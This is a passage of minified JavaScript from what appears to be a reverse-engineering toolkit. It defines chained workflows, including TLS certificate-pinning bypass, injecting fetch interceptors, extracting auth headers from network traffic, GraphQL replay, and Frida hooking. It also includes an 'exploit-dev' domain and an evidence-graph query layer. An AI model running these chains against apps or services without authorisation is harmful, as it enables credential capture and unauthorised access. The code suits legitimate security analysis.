e[1]==`number`)):{}}function H(e){return P(e)?{layers:Array.isArray(e.layers)?e.layers:[],drawCommands:Array.isArray(e.drawCommands)?e.drawCommands:[]}:{layers:[],drawCommands:[]}}function U(e){return F(e).map(e=>({objectId:I(e.objectId),className:I(e.className),name:I(e.name),stringProps:z(e.stringProps),numericProps:V(e.numericProps),colorProps:z(e.colorProps),urlProps:z(e.urlProps)}))}function W(e){return F(e).map(e=>({interface:I(e.interface),method:I(e.method),timestamp:R(e.timestamp),messageId:I(e.messageId)}))}function G(e){return F(e).map(e=>({eventType:I(e.eventType),timestamp:R(e.timestamp),url:L(e.url)}))}function K(e){return F(e).map(e=>({requestId:I(e.requestId),url:I(e.url),timestamp:R(e.timestamp)}))}function q(e){return F(e).map(e=>({pid:R(e.pid),tid:R(e.tid),syscallName:I(e.syscallName),timestamp:R(e.timestamp)}))}function J(e){return F(e).map(e=>({threadId:R(e.threadId),timestamp:R(e.timestamp),frames:F(e.frames).map(e=>({functionName:I(e.functionName)}))}))}function ae(e){if(!P(e))return null;let t=I(e.moduleName);return t?{functions:F(e.functions).map(e=>({name:I(e.name),moduleName:I(e.moduleName),address:L(e.address),calledFrom:B(e.calledFrom)})),moduleName:t}:null}const Y={WORKFLOW_REVERSE_OBFUSCATED:{id:`reverse-obfuscated-api`,displayName:`Reverse Obfuscated API`,keywords:[`obfuscated`,`deobfuscate`,`api`,`fetch`,`signature`,`sign`,`tls`,`pin`,`crypto`,`token`,`加密`,`签名`],steps:[{tool:`deobfuscate`,args:{targetUrl:"${input.targetUrl}"}},{tool:`js_heap_search`,args:{pattern:"${previous.cryptoKeys}"}},{tool:`network_enable`,args:{}},{tool:`tls_cert_pin_bypass`,args:{target:"${input.target}"}},{tool:`console_inject_fetch_interceptor`,args:{urls:["${input.apiEndpoint}"]}}]},WORKFLOW_GAME_CANVAS_SKIA:{id:`game-canvas-skia-v8`,displayName:`Game Canvas + SKIA + V8 Analysis`,keywords:[`game`,`canvas`,`skia`,`scene`,`sprite`,`render`,`draw`,`heap`,`v8`,`游戏`,`渲染`],steps:[{tool:`canvas_engine_fingerprint`,args:{canvasId:"${input.canvasId}"}},{tool:`canvas_scene_dump`,args:{canvasId:"${input.canvasId}"}},{tool:`skia_correlate_objects`,args:{skiaNodeIds:"${previous.nodeIds}"}},{tool:`performance_take_heap_snapshot`,args:{}},{tool:`js_heap_search`,args:{pattern:"${input.searchTerm}"}}]},WORKFLOW_BINARY_NATIVE_HOOK:{id:`binary-native-hook`,displayName:`Binary Analysis + Native Hook`,keywords:[`binary`,`native`,`hook`,`frida`,`ghidra`,`symbol`,`interceptor`,`jni`,`so`,`二进制`,`原生`],steps:[{tool:`ghidra_analyze`,args:{binaryPath:"${input.binaryPath}"}},{tool:`generate_hooks`,args:{symbols:"${previous.exportedSymbols}"}},{tool:`frida_attach`,args:{target:"${input.target}"}},{tool:`frida_run_script`,args:{script:"${previous.hookScript}"}}]},WORKFLOW_NETWORK_V8_INITIATOR:{id:`network-v8-initiator`,displayName:`Network Request + V8 Initiator Trace`,keywords:[`network`,`request`,`api`,`fetch`,`xhr`,`initiator`,`caller`,`signature`,`sign`,`auth`,`token`,`heap`,`v8`,`请求`,`调用方`,`签名`],steps:[{tool:`network_enable`,args:{}},{tool:`network_get_requests`,args:{limit:200}},{tool:`network_extract_auth`,args:{includeHeaders:!0}},{tool:`performance_take_heap_snapshot`,args:{}},{tool:`js_heap_search`,args:{pattern:"${input.searchTerm}"}},{tool:`cross_domain_correlate_all`,args:{pullFromDomains:!0,minConfidence:.4}}]},WORKFLOW_DEBUGGER_V8_CONTEXT:{id:`debugger-v8-pause-context`,displayName:`Debugger Pause + V8 Context Capture`,keywords:[`debugger`,`breakpoint`,`pause`,`stack`,`scope`,`frame`,`run to`,`cursor`,`source`,`v8`,`heap`,`断点`,`暂停`,`调用栈`],steps:[{tool:`debugger_lifecycle`,args:{action:`enable`}},{tool:`breakpoint`,args:{action:`set`,type:`code`}},{tool:`debugger_wait_for_paused`,args:{timeout:3e4}},{tool:`get_call_stack`,args:{}},{tool:`get_scope_variables_enhanced`,args:{includeObjectProperties:!0}},{tool:`js_heap_search`,args:{pattern:"${input.searchTerm}"}}]},WORKFLOW_WASM_MEMORY_TRACE:{id:`wasm-memory-trace`,displayName:`WASM Linear Memory + Native Memory Trace`,keywords:[`wasm`,`webassembly`,`linear memory`,`memory`,`heap`,`pointer`,`import`,`export`,`trace`,`写内存`,`线性内存`],steps:[{tool:`wasm_dump`,args:{outDir:"${input.outDir}"}},{tool:`wasm_disassemble`,args:{wasmPath:"${previous.wasmPath}"}},{tool:`wasm_memory_inspect`,args:{moduleIndex:0}},{tool:`memory_find_accesses`,args:{address:"${input.address}",accessType:`write`}},{tool:`memory_pointer_chain`,args:{address:"${input.address}"}}]},WORKFLOW_GRAPHQL_API_REPLAY:{id:`graphql-api-replay`,displayName:`GraphQL Schema + Network Replay`,keywords:[`graphql`,`schema`,`query`,`mutation`,`introspection`,`replay`,`api`,`network`,`headers`,`token`],steps:[{tool:`network_enable`,args:{}},{tool:`graphql_extract_queries`,args:{source:"${input.source}"}},{tool:`graphql_introspect`,args:{endpoint:"${input.endpoint}"}},{tool:`network_extract_auth`,args:{includeHeaders:!0}},{tool:`graphql_replay`,args:{endpoint:"${input.endpoint}"}}]}},X=`adb-bridge.analysis.binary-instrument.boringssl-inspector.browser.network.canvas.coordination.cross-domain.dart-inspector.debugger.encoding.exploit-dev.extension-registry.graphql.instrumentation.maintenance.memory.v8-inspector.mojo-ipc.native-bridge.native-emulator.platform.process.protocol-analysis.proxy.sourcemap.streaming.syscall-hook.trace.transform.wasm.webgpu.workflow`.split(`.`);var oe=class{ctx;evidenceBridgeReady;constructor(e,t){this.ctx=e,this.evidenceBridgeReady=t}getCapabilities(){let e=this.getAvailableDomains(),t=X.filter(t=>!e.includes(t)),n=Object.entries(Y).map(([e,t])=>{let n=this.evaluateWorkflow(t);return{workflowKey:e,id:t.id,displayName:t.displayName,stepCount:t.steps.length,...n}});return{availableDomains:e,missingDomains:t,supportedDomains:[...X],workflows:n}}suggestWorkflow(e,t){let n=e.toLowerCase(),r=Object.entries(Y).map(([e,t])=>({workflowKey:e,workflow:t,keywordScore:this.scoreWorkflowGoal(n,t),evaluation:this.evaluateWorkflow(t)})),i=t?r.filter(e=>e.evaluation.missingDomains.length===0):r,a=i.length>0?i:r;a.sort((e,t)=>t.keywordScore===e.keywordScore?t.evaluation.coverage-e.evaluation.coverage:t.keywordScore-e.keywordScore);let o=a[0];if(!o)throw Error(`No workflow definitions are available for cross-domain suggestion`);let s=this.describeWorkflowReason(n,o.evaluation);return{workflowKey:o.workflowKey,id:o.workflow.id,displayName:o.workflow.displayName,reason:s,...o.evaluation}}getHealth(){let e=this.getAvailableDomains();return{evidenceBridgeReady:this.evidenceBridgeReady,orchestratorReady:!0,availableDomains:e,missingDomains:X.filter(t=>!e.includes(t))}}getAvailableDomains(){let e=this.ctx.enabledDomains.size>0?this.ctx.enabledDomains:this.ctx.resolveEnabledDomains(this.ctx.selectedTools),t=[];for(let n of X)e.has(n)&&t.push(n);return t}evaluateWorkflow(e){let t=new Set;for(let n of e.steps)for(let e of this.inferDomainsForTool(n.tool))t.add(e);let n=[...t],r=this.getAvailableDomains().filter(e=>t.has(e));return{requiredDomains:n,availableDomains:r,missingDomains:n.filter(e=>!r.includes(e)),coverage:n.length===0?1:r.length/n.length}}inferDomainsForTool(e){return e.startsWith(`deobfuscate`)||e.startsWith(`advanced_deobfuscate`)?[`analysis`]:e.startsWith(`adb_`)?[`adb-bridge`]:e.startsWith(`js_heap`)||e.startsWith(`performance_take_heap_snapshot`)||e.startsWith(`v8_`)?[`v8-inspector`]:e.startsWith(`webgpu_`)?[`webgpu`]:e.startsWith(`wasm_`)?[`wasm`]:e.startsWith(`transform_`)?[`transform`]:e.startsWith(`sourcemap_`)?[`sourcemap`]:e.startsWith(`debugger_`)||e===`breakpoint`||e===`get_call_stack`||e===`get_scope_variables_enhanced`||e===`get_object_properties`?[`debugger`]:e.startsWith(`memory_`)?[`memory`]:e.startsWith(`process_`)?[`process`]:e.startsWith(`protocol_`)||e.startsWith(`proto_`)?[`protocol-analysis`]:e.startsWith(`proxy_`)?[`proxy`]:e.startsWith(`graphql_`)?[`graphql`]:e.startsWith(`encoding_`)||e.startsWith(`encode_`)?[`encoding`]:e.startsWith(`coordinate_`)||e.startsWith(`coordination_`)?[`coordination`]:e.startsWith(`dart_`)?[`dart-inspector`]:e.startsWith(`native_emulate_`)||e.startsWith(`native_emulator_`)?[`native-emulator`]:e.startsWith(`native_bridge_`)?[`native-bridge`]:e.startsWith(`platform_`)?[`platform`]:e.startsWith(`stream_`)||e.startsWith(`streaming_`)?[`streaming`]:e.startsWith(`trace_`)||e.startsWith(`start_trace_`)||e.startsWith(`stop_trace_`)?[`trace`]:e.startsWith(`workflow_`)?[`workflow`]:e.startsWith(`exploit_`)?[`exploit-dev`]:e.startsWith(`maintenance_`)?[`maintenance`]:e.startsWith(`network_`)?[`network`]:e.startsWith(`console_`)||e.startsWith(`page_`)?[`browser`]:e.startsWith(`tls_`)||e.startsWith(`net_raw_`)?[`boringssl-inspector`]:e.startsWith(`canvas_`)||e.startsWith(`skia_`)?[`canvas`]:e.startsWith(`mojo_`)?[`mojo-ipc`]:e.startsWith(`syscall_`)?[`syscall-hook`]:e.startsWith(`ghidra_`)||e.startsWith(`frida_`)||e.startsWith(`generate_hooks`)||e.startsWith(`unidbg_`)||e.startsWith(`export_hook_script`)?[`binary-instrument`]:e.startsWith(`extension_`)||e===`webhook`?[`extension-registry`]:e.startsWith(`cross_domain_`)?[`cross-domain`]:e.startsWith(`evidence_`)||e.startsWith(`instrument_`)?[`instrumentation`]:e.startsWith(`boringssl_`)?[`boringssl-inspector`]:[]}scoreWorkflowGoal(e,t){let n=0,r=Q(e);for(let i of t.keywords){let t=i.toLowerCase();if(e.includes(t)){n+=t.includes(` `)?4:3;continue}if(r.has(t)){n+=3;continue}t.length>=4&&[...r].some(e=>e.length>=4&&(e.includes(t)||t.includes(e)))&&(n+=1)}for(let e of Q(t.displayName.toLowerCase()))r.has(e)&&(n+=1);let i=new Set;for(let e of t.steps)for(let t of this.inferDomainsForTool(e.tool))i.add(t);for(let t of i){let r=t.replaceAll(`-`,` `);(e.includes(t)||e.includes(r))&&(n+=1)}return n}describeWorkflowReason(e,t){return t.missingDomains.length===0?`Matched goal "${e}" and all required domains are enabled.`:`Matched goal "${e}" with ${Math.round(t.coverage*100)}% domain coverage. Missing: ${t.missingDomains.join(`, `)}.`}},se=class{evidenceBridge;workflowClassifier;ctx;constructor(e,t,n){this.evidenceBridge=e,this.workflowClassifier=t,this.ctx=n}async handleCapabilitiesTool(e){return a(async()=>await this.handleCapabilities(e))}async handleSuggestWorkflowTool(e){return a(async()=>await this.handleSuggestWorkflow(e))}async handleHealthTool(){return a(async()=>await this.handleHealth())}async handleCorrelateAllTool(e){return a(async()=>await this.handleCorrelateAll(e))}async handleEvidenceExportTool(){return a(async()=>await this.handleEvidenceExport())}async handleEvidenceQueryTool(e){return a(async()=>await this.handleEvidenceQuery(e))}async handleEvidenceStatsTool(){return a(async()=>await this.handleEvidenceStats())}async handleSynonymTool(e){return a(async()=>await this.handleSynonym(e))}async handleCapabilities(t){let n={evidenceGraphAvailable:!0,workflowClassifierAvailable:this.workflowClassifier!==void 0};return this.workflowClassifier?e({capabilities:n,...this.workflowClassifier.getCapabilities()}):e({capabilities:n})}async handleSuggestWorkflow(n){let i=t(n,`query`,``)||t(n,`goal`,``),a=r(n,`preferAvailableOnly`,!0);return this.workflowClassifier&&i?e(this.workflowClassifier.suggestWorkflow(i,a)):e({message:`Cross-domain workflow suggestion requires a classifier and query.`})}async handleHealth(){let t=this.evidenceBridge.getStats();return this.workflowClassifier?e({...this.workflowClassifier.getHealth(),evidenceGraph:t}):e({evidenceBridgeReady:!0,orchestratorReady:!1,evidenceGraph:t})}async handleCorrelateAll(t){let i=[],a={},o=r(t,`pullFromDomains`,!1),s=Math.max(0,Math.min(1,n(t,`minConfidence`,0))),c=Math.max(0,Math.floor(n(t,`maxEdgesPerType`,0))),u=t,f;if(o){let e=await new re(this.ctx).hydrate(t);u=e.args,f=e.sources,i.push(...e.errors.map(e=>`LIVE: ${e}`))}try{let e=H(u.sceneTree),t=U(u.jsObjects);a.skia=l(this.evidenceBridge,{sceneTree:e,jsObjects:t})}catch(e){i.push(`SKIA-03: ${e instanceof Error?e.message:String(e)}`)}try{let e=W(u.mojoMessages),t=G(u.cdpEvents),n=K(u.networkRequests);a.mojo=d(this.evidenceBridge,e,t,n)}catch(e){i.push(`MOJO-03: ${e instanceof Error?e.message:String(e)}`)}try{let e=q(u.syscallEvents),t=J(u.jsStacks);a.syscall=m(this.evidenceBridge,e,t)}catch(e){i.push(`SYSCALL-02: ${e instanceof Error?e.message:String(e)}`)}try{let e=ae(u.ghidraOutput);e&&(a.binary=ee(this.evidenceBridge,e))}catch(e){i.push(`BIN-04: ${e instanceof Error?e.message:String(e)}`)}try{let e=K(u.networkRequests);if(e.length>0){let t=b(this.evidenceBridge,e);a.networkV8=t;let n=this.evidenceBridge.exportGraph();for(let e of t.correlations){let t=n.edges.filter(t=>t.type===`network-initiated-by`&&t.metadata&&t.metadata.requestId===e.requestId);for(let n of t)this.evidenceBridge.getGraph().addEdge(n.target,n.source,`v8-triggers-network`,{domain:`cross-domain`,relation:`v8-function-triggers-network-request`,confidence:e.confidence,matchType:e.matchType,requestId:e.requestId})}}}catch(e){i.push(`NET-V8: ${e instanceof Error?e.message:String(e)}`)}let p=de(this.evidenceBridge.exportGraph(),s,c);return e({correlationResults:{...a,errors:i,liveState:o?{pullFromDomains:o,sources:f}:void 0,edgeFilters:{minConfidence:s,maxEdgesPerType:c}},evidenceGraph:p})}async handleEvidenceExport(){return e(this.evidenceBridge.exportGraph())}async handleEvidenceQuery(r){let i=t(r,`queryType`,``),a=t(r,`value`,``),o=Math.max(1,Math.min(500,Math.floor(n(r,`limit`,50)))),s=this.evidenceBridge.getGraph(),c,l;switch(i){case`network_url`:Z(i,a),c=this.evidenceBridge.queryByNetworkUrl(a);break;case`heap_address`:Z(i,a),c=this.evidenceBridge.queryByHeapAddress(a);break;case`function`:Z(i,a),c=s.queryByFunction(a);break;case`script_id`:Z(i,a),c=s.queryByScriptId(a);break;case`node_id`:{Z(i,a);let e=s.getNode(a);c=e?[e]:[];break}case`node_type`:Z(i,a),c=this.evidenceBridge.exportGraph().nodes.filter(e=>e.type===a);break;case`metadata`:c=le(this.evidenceBridge.exportGraph().nodes,r);break;case`chain`:Z(i,a),l=ce(r.direction),c=s.getEvidenceChain(a,l);break;default:throw Error(`Invalid evidence queryType. Expected one of: network_url, heap_address, function, script_id, node_id, node_type, metadata, chain`)}let u=c.length,d=c.slice(0,o),f=new Set(d.map(e=>e.id)),p=this.evidenceBridge.exportGraph().edges.filter(e=>f.has(e.source)&&f.has(e.target));return e({query:{queryType:i,value:a||void 0,metadataKey:t(r,`metadataKey`),metadataValue:t(r,`metadataValue`),direction:l,limit:o},total:u,returned:d.length,truncated:u>d.length,nodes:d,edges:p})}async handleEvidenceStats(){let t=this.evidenceBridge.getStats(),n=this.evidenceBridge.exportGraph();return e({...t,...ue(n)})}async handleSynonym(r){let i=t(r,`query`,``);if(!i.trim())return e({message:`Provide a natural-language query describing the task or concept.`,graphMeta:N()});let a=Math.max(1,Math.min(20,Math.floor(n(r,`maxResults`,10)))),o=M(i,a);return e({query:i,matchCount:o.length,maxResults:a,matches:o,graphMeta:N()})}};function Z(e,t){if(!t.trim())throw Error(`value is required for evidence queryType=${e}`)}function ce(e){if(e==null)return`forward`;if(e===`forward`||e===`backward`)return e;throw Error(`Invalid evidence chain direction. Expected one of: forward, backward`)}function le(e,n){let r=t(n,`metadataKey`,``);if(!r.trim())throw Error(`metadataKey is required for evidence queryType=metadata`);let i=Object.prototype.hasOwnProperty.call(n,`metadataValue`),a=n.metadataValue;return e.filter(e=>Object.prototype.hasOwnProperty.call(e.metadata,r)?i?String(e.metadata[r])===String(a):!0:!1)}function Q(e){return new Set(e.split(/[^a-z0-9+#.-]+/i).filter(e=>e.length>1))}function $(e){let t=e.metadata??{},n=t.confidence,r=t.matchScore;return typeof n==`number`&&Number.isFinite(n)?n:typeof r==`number`&&Number.isFinite(r)?r:n===`high`?.9:n===`medium`?.6:n===`low`?.3:1}function ue(e){let t={},n={high:0,medium:0,low:0,none:0},r=0,i=0,a=new Map,o=new Set;for(let s of e.edges){t[s.type]=(t[s.type]??0)+1,o.add(s.source),o.add(s.target),a.set(s.source,(a.get(s.source)??0)+1),a.set(s.target,(a.get(s.target)??0)+1);let e=s.metadata??{};if(!(typeof e.confidence==`number`||typeof e.confidence==`string`||typeof e.matchScore==`number`)){n.none+=1;continue}let c=$(s);r+=c,i+=1,c>=.7?n.high+=1:c>=.4?n.medium+=1:n.low+=1}let s=e.nodes.filter(e=>!o.has(e.id)).length,c=new Map(e.nodes.map(e=>[e.id,e])),l=[...a.entries()].toSorted((e,t)=>t[1]-e[1]).slice(0,5).map(([e,t])=>{let n=c.get(e);return{nodeId:e,label:n?.label??e,type:n?.type??`unknown`,degree:t}});return{edgesByType:t,confidenceBuckets:n,avgConfidence:i>0?Number((r/i).toFixed(4)):0,orphanNodeCount:s,topNodesByDegree:l}}function de(e,t,n){let r=new Map,i={},a=e.edges.filter(e=>{if($(e)<t)return!1;if(n<=0)return!0;let a=r.get(e.type)??0;return a>=n?(i[e.type]=(i[e.type]??0)+1,!1):(r.set(e.type,a+1),!0)}),o=e.edges.length-a.length-Object.values(i).reduce((e,t)=>e+t,0);return{...e,edges:a,edgeFilterSummary:{originalEdges:e.edges.length,returnedEdges:a.length,removedByConfidence:o,truncatedByType:i}}}export{se as CrossDomainHandlers,oe as CrossDomainWorkflowClassifier};